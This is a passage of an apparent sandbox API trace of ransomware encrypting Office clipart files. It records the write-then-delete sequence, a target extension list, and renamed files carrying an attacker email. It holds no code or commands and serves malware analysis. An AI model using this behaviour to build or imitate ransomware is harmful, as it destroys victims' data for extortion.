office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0068.693] GetLastError () returned 0x0 [0068.693] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xdec, lpOverlapped=0x0) returned 1 [0069.096] WriteFile (in: hFile=0x370, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xdf0, lpOverlapped=0x0) returned 1 [0069.105] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0069.105] WriteFile (in: hFile=0x370, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xe8, lpOverlapped=0x0) returned 1 [0069.105] SetEndOfFile (hFile=0x370) returned 1 [0069.106] CloseHandle (hObject=0x370) returned 1 [0069.107] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.107] SetEndOfFile (hFile=0x2f4) returned 1 [0069.109] CloseHandle (hObject=0x2f4) returned 1 [0069.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0069.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0069.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0069.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0069.110] lstrlenW (lpString=".doc") returned 4 [0069.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0069.111] lstrlenW (lpString=".docx") returned 5 [0069.111] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0069.111] lstrlenW (lpString=".pdf") returned 4 [0069.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0069.111] lstrlenW (lpString=".xls") returned 4 [0069.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0069.111] lstrlenW (lpString=".xlsx") returned 5 [0069.111] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0069.111] lstrlenW (lpString=".ppt") returned 4 [0069.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0069.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0069.111] lstrlenW (lpString=".zip") returned 4 [0069.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0069.111] lstrlenW (lpString=".rar") returned 4 [0069.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0069.111] lstrlenW (lpString=".bz2") returned 4 [0069.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0069.111] lstrlenW (lpString=".7z") returned 3 [0069.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0069.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0069.111] lstrlenW (lpString=".dbf") returned 4 [0069.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0069.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0069.111] lstrlenW (lpString=".1cd") returned 4 [0069.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0069.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0069.112] lstrlenW (lpString=".jpg") returned 4 [0069.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0069.113] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.113] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0069.113] GetLastError () returned 0x0 [0069.114] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x9456, lpOverlapped=0x0) returned 1 [0069.116] WriteFile (in: hFile=0x370, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x9460, lpOverlapped=0x0) returned 1 [0069.118] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0069.118] WriteFile (in: hFile=0x370, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0069.118] SetEndOfFile (hFile=0x370) returned 1 [0069.119] CloseHandle (hObject=0x370) returned 1 [0069.121] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.121] SetEndOfFile (hFile=0x2f4) returned 1 [0069.123] CloseHandle (hObject=0x2f4) returned 1 [0069.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0069.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0069.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0069.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0069.129] lstrlenW (lpString=".doc") returned 4 [0069.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0069.129] lstrlenW (lpString=".docx") returned 5 [0069.129] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0069.129] lstrlenW (lpString=".pdf") returned 4 [0069.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0069.129] lstrlenW (lpString=".xls") returned 4 [0069.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0069.129] lstrlenW (lpString=".xlsx") returned 5 [0069.129] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0069.129] lstrlenW (lpString=".ppt") returned 4 [0069.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0069.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0069.129] lstrlenW (lpString=".zip") returned 4 [0069.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0069.129] lstrlenW (lpString=".rar") returned 4 [0069.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0069.129] lstrlenW (lpString=".bz2") returned 4 [0069.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0069.130] lstrlenW (lpString=".7z") returned 3 [0069.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0069.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0069.130] lstrlenW (lpString=".dbf") returned 4 [0069.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0069.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0069.130] lstrlenW (lpString=".1cd") returned 4 [0069.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0069.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0069.130] lstrlenW (lpString=".jpg") returned 4 [0069.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0069.131] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.132] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0069.132] GetLastError () returned 0x0 [0069.132] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x9c5e, lpOverlapped=0x0) returned 1 [0069.135] WriteFile (in: hFile=0x370, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x9c60, lpOverlapped=0x0) returned 1 [0069.137] ReadFile (in: hFile=0x2f4, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0069.137] WriteFile (in: hFile=0x370, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0069.138] SetEndOfFile (hFile=0x370) returned 1 [0069.138] CloseHandle (hObject=0x370) returned 1 [0069.140] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.140] SetEndOfFile (hFile=0x2f4) returned 1 [0069.141] CloseHandle (hObject=0x2f4) returned 1 [0069.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0069.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0069.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0069.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0069.143] lstrlenW (lpString=".doc") returned 4 [0069.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0069.143] lstrlenW (lpString=".docx") returned 5 [0069.143] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0069.143] lstrlenW (lpString=".pdf") returned 4 [0069.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0069.143] lstrlenW (lpString=".xls") returned 4 [0069.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0069.143] lstrlenW (lpString=".xlsx") returned 5 [0069.143] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0069.143] lstrlenW (lpString=".ppt") returned 4 [0069.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0069.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0069.143] lstrlenW (lpString=".zip") returned 4 [0069.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0069.143] lstrlenW (lpString=".rar") returned 4 [0069.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0069.144] lstrlenW (lpString=".bz2") returned 4 [0069.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0069.144] lstrlenW (lpString=".7z") returned 3 [0069.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0069.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0069.144] lstrlenW (lpString=".dbf") returned 4 [0069.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0069.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0069.144] lstrlenW (lpString=".1cd") returned 4 [0069.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0069.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0069.144] lstrlenW (lpString=".jpg") returned 4 [0069.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.581] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.581] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0071.581] GetLastError () returned 0x0 [0071.581] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x318, lpOverlapped=0x0) returned 1 [0071.583] WriteFile (in: hFile=0x378, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x320, lpOverlapped=0x0) returned 1 [0071.584] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.584] WriteFile (in: hFile=0x378, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.584] SetEndOfFile (hFile=0x378) returned 1 [0071.584] CloseHandle (hObject=0x378) returned 1 [0071.584] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.584] SetEndOfFile (hFile=0x368) returned 1 [0071.585] CloseHandle (hObject=0x368) returned 1 [0071.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0071.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0071.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0071.586] lstrlenW (lpString=".doc") returned 4 [0071.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.586] lstrlenW (lpString=".docx") returned 5 [0071.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.586] lstrlenW (lpString=".pdf") returned 4 [0071.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.586] lstrlenW (lpString=".xls") returned 4 [0071.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.586] lstrlenW (lpString=".xlsx") returned 5 [0071.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.586] lstrlenW (lpString=".ppt") returned 4 [0071.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0071.586] lstrlenW (lpString=".zip") returned 4 [0071.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.586] lstrlenW (lpString=".rar") returned 4 [0071.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.586] lstrlenW (lpString=".bz2") returned 4 [0071.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.586] lstrlenW (lpString=".7z") returned 3 [0071.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0071.587] lstrlenW (lpString=".dbf") returned 4 [0071.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0071.587] lstrlenW (lpString=".1cd") returned 4 [0071.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0071.587] lstrlenW (lpString=".jpg") returned 4 [0071.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.587] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.587] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0071.588] GetLastError () returned 0x0 [0071.588] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xb88, lpOverlapped=0x0) returned 1 [0071.589] WriteFile (in: hFile=0x378, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xb90, lpOverlapped=0x0) returned 1 [0071.593] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.593] WriteFile (in: hFile=0x378, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.593] SetEndOfFile (hFile=0x378) returned 1 [0071.593] CloseHandle (hObject=0x378) returned 1 [0071.594] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.594] SetEndOfFile (hFile=0x368) returned 1 [0071.594] CloseHandle (hObject=0x368) returned 1 [0071.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0071.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0071.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0071.595] lstrlenW (lpString=".doc") returned 4 [0071.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.595] lstrlenW (lpString=".docx") returned 5 [0071.595] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.595] lstrlenW (lpString=".pdf") returned 4 [0071.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.595] lstrlenW (lpString=".xls") returned 4 [0071.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.595] lstrlenW (lpString=".xlsx") returned 5 [0071.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.596] lstrlenW (lpString=".ppt") returned 4 [0071.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0071.596] lstrlenW (lpString=".zip") returned 4 [0071.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.596] lstrlenW (lpString=".rar") returned 4 [0071.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.596] lstrlenW (lpString=".bz2") returned 4 [0071.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.596] lstrlenW (lpString=".7z") returned 3 [0071.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0071.596] lstrlenW (lpString=".dbf") returned 4 [0071.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0071.596] lstrlenW (lpString=".1cd") returned 4 [0071.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0071.596] lstrlenW (lpString=".jpg") returned 4 [0071.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.597] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.597] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0071.597] GetLastError () returned 0x0 [0071.597] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x2708, lpOverlapped=0x0) returned 1 [0071.599] WriteFile (in: hFile=0x378, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x2710, lpOverlapped=0x0) returned 1 [0071.600] ReadFile (in: hFile=0x368, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.600] WriteFile (in: hFile=0x378, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.600] SetEndOfFile (hFile=0x378) returned 1 [0071.600] CloseHandle (hObject=0x378) returned 1 [0071.600] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.600] SetEndOfFile (hFile=0x368) returned 1 [0071.601] CloseHandle (hObject=0x368) returned 1 [0071.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0071.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0071.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 